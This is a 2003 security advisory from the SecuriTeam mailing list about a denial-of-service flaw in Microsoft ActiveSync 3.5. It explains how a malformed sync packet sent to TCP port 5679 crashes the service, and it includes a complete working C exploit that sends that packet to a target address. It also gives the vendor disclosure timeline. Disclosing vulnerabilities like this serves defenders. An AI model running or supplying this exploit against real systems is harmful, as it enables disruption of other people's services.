[NT] ActiveSync Denial of Service Vulnerability

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From: support@securiteam.com
To: list@securiteam.com
Date: 23 Mar 2003 12:53:53 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  ActiveSync Denial of Service Vulnerability
------------------------------------------------------------------------

SUMMARY

Microsoft ActiveSync allows you to create a partnership between your
mobile device and desktop computer using a cable, cradle, or infrared.
After you create a partnership, you can synchronize your data using a
modem or network (Ethernet) card if your device supports it. You can also
use your existing computer to connect to other resources through
ActiveSync.

The service runs on TCP port 5679 and by connecting to this port and
sending a corrupted "sync request" packet the service can be crashed thus
causing Denial of Service.

DETAILS

Vulnerable systems:
 * ActiveSync version 3.5

By "pretending" to be an iPAQ and connecting to TCP port 5679, then
sending a corrupted "I would like to sync with you" packet, a NULL pointer
is referenced in a call to the function WideCharToMultiByte() while it is
trying to process an entry within the packet. This then causes an
application error, killing the "wcescomm" process.

The service must then be restarted manually to enable an iPAQ to re-sync.

Sample code to demonstrate the vulnerability is shown below:

Exploit:
/* iPAQ_Crash.c - by Andy Davis*/
/* Strictly for testing purposes only */
/* Compile with Microsoft VC++ */

#include <winsock.h>
#include <windows.h>
#include <stdio.h>

#define ASYNC_PORT 5679

int main(int argc, char **argv)
{

    unsigned char sendBuf[] =

/* Correct Header */

//"\x00\x00\x00\x00" /* Correct start of packet - by removing these 4
bytes the crash occurs */
"\x6e\x00\x00\x00" /* Length of the rest of the packet */
"\x24\x00\x00\x00"
"\x03\x00\xa3\x2b"
"\x11\x0a\x00\x00"
"\x00\x00\x00\x00"
"\xc3\x1d\xdd\x0c" /* 0xc31ddd0c Device Identifier */
"\x00\x00\x00\x00"
"\x24\x00\x00\x00" /* 0x24 pointer to "Pocket_PC" */
"\x38\x00\x00\x00" /* 0x38 pointer to "PocketPC" */
"\x4a\x00\x00\x00" /* 0x4a pointer to "Compaq iPAQ H3800" */

/* "Pocket_PC PocketPC Compaq iPAQ H3800" (in unicode) */

"\x50\x00\x6f\x00\x63\x00\x6b\x00\x65\x00\x74\x00"
"\x5f\x00\x50\x00\x43\x00\x00\x00\x50\x00\x6f\x00\x63\x00\x6b\x00"
"\x65\x00\x74\x00\x50\x00\x43\x00\x00\x00\x43\x00\x6f\x00\x6d\x00"
"\x70\x00\x61\x00\x71\x00\x20\x00\x69\x00\x50\x00\x41\x00\x51\x00"
"\x20\x00\x48\x00\x33\x00\x38\x00\x39\x00\x30\x00\x00\x00";

    struct sockaddr_in servAddr;
    int s;

  WSADATA WSAData;
    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
      printf("WSAStartup failed.\n");
      WSACleanup();
      exit(1);
    }

  if (argc != 2)
  {
    printf ("\niPAQ_Crash\n");
    printf ("\nUsage: %s <target IP address>\n",argv[0]);
    exit (1);
  }

    servAddr.sin_family = AF_INET;
    servAddr.sin_addr.s_addr = inet_addr(argv[1]);
    servAddr.sin_port = htons(ASYNC_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *) &servAddr, sizeof(servAddr));

    printf("Sending packet...");

  if ( send(s, sendBuf, 118, 0) == 0)
    {
    printf("Error sending packet...quitting\n\n");
    exit (0);
    }

    closesocket(s);
    return(0);
}

Vendor & Patch Information:
The vendor of this product, Microsoft, was contacted via email using the
address "security@microsoft.com" on 26 November 2002, Microsoft replied
the following day to confirm receipt of the email. A second email was sent
on 7 January 2003 to the same address to request information regarding the
progress of any patch or workaround information. Microsoft did not reply
to this email and no further correspondence has been received about the
vulnerability.

ADDITIONAL INFORMATION

The original advisory can be found at:
 <http://www.irmplc.com/advisories/active_sync.txt>
http://www.irmplc.com/advisories/active_sync.txt

The information has been provided by <mailto:advisories@irmplc.com> IRM
Advisories.

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